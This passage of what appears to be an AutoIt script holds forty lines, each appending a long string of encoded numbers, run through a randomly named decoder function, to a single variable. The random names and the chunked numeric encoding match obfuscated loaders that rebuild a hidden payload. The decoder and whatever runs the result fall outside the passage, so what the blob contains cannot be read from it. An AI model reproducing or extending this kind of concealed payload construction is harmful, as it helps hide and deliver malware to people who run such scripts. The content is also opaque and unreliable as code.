  500. $lmascgp &= btbxjymrfgaetpa("56,56,6,56,55,56,54,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,53,57,57,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,54,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,59,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,54,57,59,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,53,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6")
  501. $lmascgp &= btbxjymrfgaetpa("56,55,56,6,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,54,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,55,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,56,56,54,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,55,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,54,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,57,56,56,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,59,56,6,56")
  502. $lmascgp &= btbxjymrfgaetpa("60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,60,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,58,56,58,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,55,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,59,56,60,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,60,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,55,56,60,57,54,57,59,57,54")
  503. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,54,57,55,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,54,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,6,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,55,57,57,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,5,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,55,56,6,57,54,56,6,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,56,57,59,57,55,56,54,57,54,57,54,57,54,57")
  504. $lmascgp &= btbxjymrfgaetpa("54,56,6,56,5,56,6,56,55,56,59,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,56,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,57,56,6,57,55,56,54,57,54,57,54,57,54,57,54,56,6,57,58,56,55,57,56,56,59,56,56,56,6,56,5,56,6,56,55,56,57,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,57,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,58,56,57,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,56,56,6,56,60,56,60")
  505. $lmascgp &= btbxjymrfgaetpa("56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,57,56,56,56,56,55,56,60,56,6,57,58,57,56,57,55,57,55,56,6,57,59,56,58,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,57,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,54,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,5,56,60,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,58,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,56,6,56,60,56,55,56,60,57,55,56,6,56,6,56,59,57")
  506. $lmascgp &= btbxjymrfgaetpa("55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,56,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,54,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,54,57,54,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,54,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,60,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,55,57,56,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,6,56,60,56,60,56,60,56,60")
  507. $lmascgp &= btbxjymrfgaetpa("56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,57,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,56,57,58,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,6,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,55,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,57,56,5,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,53,57,57,56,6,57,56,56,6,56,55,57,57,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,58,57")
  508. $lmascgp &= btbxjymrfgaetpa("59,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,53,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,53,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,59,56,6,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,53,56,6,56,6,57,56,56,6,56,55,56,60,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,60,56,5,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,53,56,56,56,6,57,56,56,6,56,55,57,54,56,60,57,54,56,5")
  509. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,54,57,59,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,53,56,60,56,6,57,56,56,6,56,55,57,58,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,55,57,58,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,54,57,57,56,6,57,56,56,6,56,55,56,53,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,56,57,57,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,57,57,57,56,60,56,59,56,60,56,60,56")
  510. $lmascgp &= btbxjymrfgaetpa("60,56,60,56,6,57,56,56,6,56,55,57,54,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,56,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,58,57,58,56,55,57,55,56,60,57,54,56,6,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,54,56,6,57,58,56,55,57,56,56,59,56,56,56,6,56,5,56,56,56,55,56,54,56,56,56,6,57,56,56,6,56,55,56,55,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,59,57,55,57,55,56,55,57,54,57,54,57,54,57,54,56,6,57,58,56,55,57,56,56,60")
  511. $lmascgp &= btbxjymrfgaetpa("57,57,56,6,56,5,56,56,56,55,56,54,56,60,56,6,57,56,56,6,56,55,56,5,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,5,57,57,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,55,57,57,56,6,57,56,56,6,56,55,56,56,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,6,57,56,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,56,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,53,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56")
  512. $lmascgp &= btbxjymrfgaetpa("60,57,55,56,6,56,53,57,58,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,55,56,6,56,6,57,56,56,6,56,55,57,58,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,54,57,57,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,55,56,56,56,6,57,56,56,6,56,55,56,59,57,57,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,55,57,56,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,56,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55")
  513. $lmascgp &= btbxjymrfgaetpa("56,5,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,56,57,58,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,54,56,6,56,6,57,56,56,6,56,55,57,58,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,56,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,58,57,56,56,6,57,55,56,6,56,57,56,56,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,55,56,60,56,6,57,56,56,6,56,55,57,54,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,56")
  514. $lmascgp &= btbxjymrfgaetpa("6,57,56,56,56,56,55,57,56,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,58,57,56,56,6,57,55,56,6,56,59,57,56,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,56,56,6,56,6,57,56,56,6,56,55,57,59,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,56,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,58,57,56,56,6,57,55,56,6,56,60,56,54,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,56,56,56,56,6,57,56,56,6,56,55,56,6,56,60,57,54,57,57,57,54")
  515. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,56,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,58,57,56,56,6,57,55,56,6,57,55,57,54,57,55,56,56,57,54,57,54,57,54,57,54,56,6,57,58,56,55,57,56,56,59,56,6,56,6,56,5,56,56,56,55,56,56,57,57,56,6,57,56,56,6,56,55,57,56,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,56,57,56,57,55,56,56,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,57,56,56,56,6,57,56,56,6,56,55,56,57,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56")
  516. $lmascgp &= btbxjymrfgaetpa("60,57,55,56,6,57,57,57,55,57,55,56,56,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,57,56,6,56,6,57,56,56,6,56,55,56,59,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,58,57,54,57,55,56,56,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,57,57,57,56,6,57,56,56,6,56,55,57,59,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,58,56,60,57,55,56,56,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,56,56,60,56,6,57,56,56,6,56,55,57,58,56,60,57,54,57,57,57,54,57,54")
  517. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54,57,56,56,54,56,6,56,5,56,56,56,55,56,57,56,60,56,6,57,56,56,6,56,55,56,6,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54,57,56,56,54,56,6,57,58,56,55,57,56,56,60,57,57,56,6,56,5,56,56,56,55,56,58,57,57,56,6,57,56,56,6,56,55,56,53,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,6,56,60,57,55,56,56,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,58,56,6,56")
  518. $lmascgp &= btbxjymrfgaetpa("6,57,56,56,6,56,55,56,55,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,53,56,59,57,55,56,56,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,58,56,56,56,6,57,56,56,6,56,55,56,57,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,57,56,56,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,54,57,59,56,55,57,55,56,6,56,5,56,56,56,55,56,58,56,60,56,6,57,58,56,56,56,55,56,60,56,6,56,55,56,5,56,6,57,56,56,53,56,55,56,60,57,57,56,6")
  519. $lmascgp &= btbxjymrfgaetpa("57,58,57,54,56,6,57,54,56,57,57,59,56,55,56,55,57,54,56,55,57,55,56,55,57,58,57,57,56,5,57,57,56,58,56,53,57,57,56,60,56,59,56,6,57,56,56,6,57,56,57,55,56,56,57,54,56,6,57,54,57,54,57,54,57,54,56,55,56,59,56,54,57,59,57,54,57,54,57,54,57,54,57,56,56,60,56,57,56,5,56,5,57,56,57,55,56,56,57,54,56,6,57,54,57,54,57,54,57,54,56,60,57,54,56,6,56,56,56,5,56,59,57,54,56,6,57,54,57,54,57,54,57,54,56,6,57,56,56,6,56,55,56,57,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56")
  520. $lmascgp &= btbxjymrfgaetpa("5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,56,57,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,58,56,56,57,55,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,56,6,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,56,6,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,58,57,57")
  521. $lmascgp &= btbxjymrfgaetpa("57,54,56,60,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,56,56,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,56,56,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,56,56,56,57,54,56,54,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,57,54,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56")
  522. $lmascgp &= btbxjymrfgaetpa("6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,57,54,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,57,57,57,57,54,56,56,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,56,55,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,56,56,60,56,55,56,5,56,55,56,60,56,6,57,56,56,6,56,55,56,55,56,60,57,54")
  523. $lmascgp &= btbxjymrfgaetpa("57,55,57,54,57,54,57,54,57,54,57,55,56,5,56,6,57,57,57,54,56,6,57,54,57,54,57,54,57,54,56,55,56,55,56,6,57,58,57,55,57,57,56,6,56,59,57,55,57,57,56,53,57,57,56,60,56,54,56,60,56,60,56,60,56,60,56,55,56,57,56,55,56,54,56,55,56,53,57,54,57,54,56,53,56,55,56,60,56,6,57,54,57,54,56,5,56,55,56,57,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,56,56,60,56,55,56,60,57,54,57,54,56,53,56,55,56,60,56,6,56,6,57,56,56,6,56,55,56,6,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,5,56,55,56,56,57")
  524. $lmascgp &= btbxjymrfgaetpa("57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,57,57,57,56,56,56,59,56,60,56,54,56,6,56,60,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,54,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,56,6,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,5,56,55,56,56,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,58,56,55,57,56,56,60,57,57,56,6,57,58,56,53,56,57,56,57,57,57,56,57,56,57,57,54,57,54,56,54,57,59,56,59,56,60,56,6,57,56,56,56,56,55")
  525. $lmascgp &= btbxjymrfgaetpa("57,55,56,6,56,55,56,60,56,6,56,5,56,53,57,56,57,55,56,60,56,6,56,5,56,53,57,56,57,54,57,57,56,6,56,5,56,53,57,56,57,56,56,6,56,6,56,5,56,53,57,56,57,54,56,6,56,6,56,5,56,53,57,56,57,56,57,57,56,60,56,57,57,54,56,57,57,54,57,54,56,5,56,55,56,57,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,54,57,59,56,56,56,56,56,6,57,56,56,6,56,55,56,54,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,5,56,55,56,57,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,54,56,6,57,57,57,57,56,60,56,58,56")
  526. $lmascgp &= btbxjymrfgaetpa("60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,5,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,5,56,55,56,57,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,59,56,57,57,55,56,55,56,60,56,56,56,55,56,60,56,60,56,60,56,60,56,53,56,55,56,58,57,55,56,6,57,56,56,56,56,55,57,55,56,6,56,55,56,60,56,6,57,56,56,6,56,55,56,54,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,56,55,56,53,56,55,56,53,56,54,56,6,56,60,57,57,56,60,56,60,56,60,56,60,56,60,56,6,56,55,56,53,56,55,56,53,56,55")
  527. $lmascgp &= btbxjymrfgaetpa("56,53,56,55,56,53,56,6,57,56,56,6,56,55,56,54,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,5,56,55,56,58,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,55,56,59,56,60,56,55,56,57,57,54,57,54,56,5,56,55,56,58,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,57,56,57,57,57,56,60,56,55,57,54,56,55,57,55,56,55,57,58,57,57,56,5,57,57,56,58,56,6,56,60,56,60,56,59,56,55,56,53,56,54,57,59,56,59,56,6,56,6,57,56,56,56,56,55,57,58,56,56,56,55,56,60,56,55,56,53,57,54,57")
  528. $lmascgp &= btbxjymrfgaetpa("54,56,53,56,55,57,55,56,6,57,54,57,54,56,5,56,55,56,53,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,55,56,53,56,54,57,59,56,60,56,56,56,6,57,56,56,56,56,55,56,60,56,6,56,55,56,60,56,6,57,58,56,56,56,55,57,58,56,6,56,6,56,57,57,57,56,60,56,60,56,6,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,56,6,56,5,56,53,57,56,56,60,56,6,57,54,57,54,56,5,56,55,56,6,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,5,56,60,57,57,56,55,56,53,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54")
  529. $lmascgp &= btbxjymrfgaetpa("56,5,56,55,56,55,57,57,56,60,56,59,56,60,56,60,56,60,56,60,57,55,57,58,57,58,57,57,56,6,57,58,56,56,56,55,56,60,56,6,56,57,57,58,56,56,56,54,56,57,56,56,56,53,56,55,56,60,57,55,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54,56,5,56,55,56,54,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,6,57,56,57,55,56,6,57,58,56,56,56,54,56,55,56,60,56,55,56,53,56,54,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,56,54,57,59,56,56,56,60,56,6,56,5,56,56,56,55,57,56,56,60,56")
  530. $lmascgp &= btbxjymrfgaetpa("6,57,56,56,56,56,55,57,56,56,60,56,55,56,60,56,55,56,53,56,54,56,6,56,59,57,54,56,60,56,60,56,60,57,54,56,60,56,60,56,6,57,56,56,56,56,55,57,55,56,60,56,55,56,60,56,6,56,5,56,53,57,56,57,56,56,56,57,54,57,54,56,5,56,55,56,6,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,6,57,58,56,55,56,6,57,58,56,56,56,55,57,56,56,60,56,54,57,59,56,56,56,60,56,55,56,53,56,54,57,59,56,60,56,58,56,6,56,5,56,56,56,55,57,56,56,6,56,6,57,56,56,56,56,55,57,56,56,6,56,55,56,60,56,55,56,53,56,55")
  531. $lmascgp &= btbxjymrfgaetpa("56,53,56,55,56,53,56,6,57,56,56,56,56,55,57,54,57,57,56,55,56,60,56,54,57,59,57,54,57,54,57,54,57,54,56,53,56,55,57,55,56,60,57,54,57,54,56,5,56,55,56,53,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,6,56,5,56,60,56,6,57,58,56,56,56,54,56,57,56,56,56,6,56,5,56,56,56,55,57,54,56,6,56,6,57,58,56,56,56,55,57,56,56,60,56,6,56,5,56,56,56,55,57,56,57,57,56,6,57,58,56,56,56,55,56,60,56,6,56,57,57,58,56,56,56,54,56,57,56,56,56,53,56,58,56,60,57,54,56,57,57,58,56,56,56,54,56,55,56")
  532. $lmascgp &= btbxjymrfgaetpa("60,56,53,56,53,56,60,57,59,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54,56,5,56,55,56,54,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,54,57,59,56,56,56,60,56,55,56,53,56,54,57,59,56,60,56,58,56,6,57,56,56,56,56,55,57,56,57,57,56,55,56,60,56,55,56,53,56,55,56,53,56,55,56,53,56,6,57,56,56,56,56,55,57,54,56,6,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54,56,53,56,55,57,55,56,60,57,54,57,54,56,5,56,55,56,53,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,5")
  533. $lmascgp &= btbxjymrfgaetpa("56,59,57,59,56,55,56,53,57,54,57,54,56,53,56,55,57,55,56,6,57,54,57,54,56,5,56,55,56,55,57,57,56,60,56,59,56,60,56,60,56,60,56,60,57,54,57,54,56,53,56,55,57,54,57,57,56,54,57,59,57,54,57,54,57,54,57,54,56,5,56,55,56,54,57,57,56,60,56,59,56,60,56,60,56,60,56,60,57,55,56,5,57,54,57,58,57,54,57,55,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,54,56,55,56,56,56,6,57,58,56,55,57,58,56,57,57,57,57,54,57,54,56,53,56,55,56,60,57,57,57,54,57,54,56,53,56,55,57,54,57,57,57,54,57,54,56,5,56,55,56,55,56,56,56,60,56,59,56")
  534. $lmascgp &= btbxjymrfgaetpa("60,56,60,56,60,56,60,56,57,56,57,57,57,56,60,56,6,56,57,57,57,56,56,56,60,57,57,56,6,56,5,56,53,57,56,57,55,56,56,56,54,56,54,56,57,57,58,56,56,56,54,56,60,56,54,56,53,56,57,56,57,56,58,56,6,57,58,56,56,56,55,56,60,57,57,56,6,57,56,56,5,57,57,56,60,56,57,56,60,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,58,56,60,56,57,56,60,56,57,56,56,56,55,56,60,57,57,57,54,57,54,56,53,56,57,57,54,57,57,56,55,56,60,56,6,57,58,56,56,56,57,57,54,56,6,56,60,56,57,56,56,56,55,57,54,57,57,56,55,56,60,57,54,57,54,56,5")
  535. $lmascgp &= btbxjymrfgaetpa("56,55,56,55,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,60,57,54,57,58,56,53,56,56,56,54,56,60,56,54,56,6,56,57,57,57,56,56,56,60,57,57,57,54,57,54,56,56,56,55,57,55,56,56,56,6,56,57,57,57,56,57,56,58,56,6,56,57,56,5,56,56,56,55,57,55,56,56,56,53,56,58,57,56,56,6,56,6,57,56,56,56,56,55,57,57,57,57,56,55,56,60,56,54,57,59,56,60,56,56,56,6,57,56,56,56,56,55,57,54,56,6,56,55,56,60,56,6,57,58,56,56,56,55,57,58,56,6,56,6,56,57,57,57,56,60,56,60,56,6,56,55,56,60,57,54,57,54,56,53,56,55,57,55,56,6,56,6,56")
  536. $lmascgp &= btbxjymrfgaetpa("5,56,53,57,56,57,57,57,57,57,54,57,54,56,5,56,55,56,53,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,5,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,53,56,55,57,55,57,57,57,57,56,53,56,6,56,55,56,5,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,60,56,53,56,60,56,60,56,60,56,59,56,60,56,60,57,54,57,54,56,5,56,55,56,54,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,60,57,54,56,6,56,6,57,59,56,58,57,54,57,55,57,54,57,54,57,54,57,54,56,6,57,58")
  537. $lmascgp &= btbxjymrfgaetpa("56,56,56,54,56,58,56,6,56,60,56,57,56,56,56,55,57,54,56,6,56,6,56,5,56,6,56,55,56,56,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,6,57,56,56,6,56,55,56,5,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,56,53,56,55,57,55,57,57,57,54,57,54,56,5,56,55,56,54,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,55,56,53,56,6,56,55,57,57,56,60,56,60,57,54,56,6,56,6,56,57,56,59,57,54,57,54,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,55,57,55,57,57,57,54,57,54,56,5,56,55,56,54,56,6,56,60,56,59,56")
  538. $lmascgp &= btbxjymrfgaetpa("60,56,60,56,60,56,60,56,6,56,55,57,57,56,60,56,60,57,54,56,6,56,6,56,59,57,54,57,54,57,54,57,54,57,54,57,54,57,54,56,6,57,58,56,56,56,55,57,55,56,6,57,55,56,5,56,58,57,55,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,55,56,6,57,58,57,55,57,57,56,6,56,57,57,55,56,56,57,54,56,6,56,6,56,59,57,55,57,57,56,58,56,6,56,60,56,56,56,60,56,60,56,60,56,60,56,6,56,57,57,59,56,56,56,58,56,56,56,56,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,60,56,60,56,55,56,54,56,55,56,53,56,6,56,59,57,55,57,57,56,53,56,6,56,60")
  539. $lmascgp &= btbxjymrfgaetpa("56,59,56,60,56,60,56,60,56,60,56,54,57,59,56,55,57,55,56,55,56,5,56,6,57,58,57,54,57,57,56,6,57,56,56,6,56,56,56,58,56,56,56,57,56,60,56,60,56,56,56,60,56,60,56,60,56,60,56,6,57,56,57,58,56,56,56,58,56,56,57,58,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,55,56,60,57,54,56,57,57,59,56,55,57,55,56,6,57,54,57,58,57,55,56,58,57,54,57,54,57,54,57,54,56,54,57,59,56,55,57,55,56,55,56,5,56,54,57,59,56,54,56,54,56,6,57,58,57,54,56,60,56,55,56,6,56,54,57,59,56,53,56,58,56,6,57,56,56,53,57,57,56,58,56,56,56,57,57")
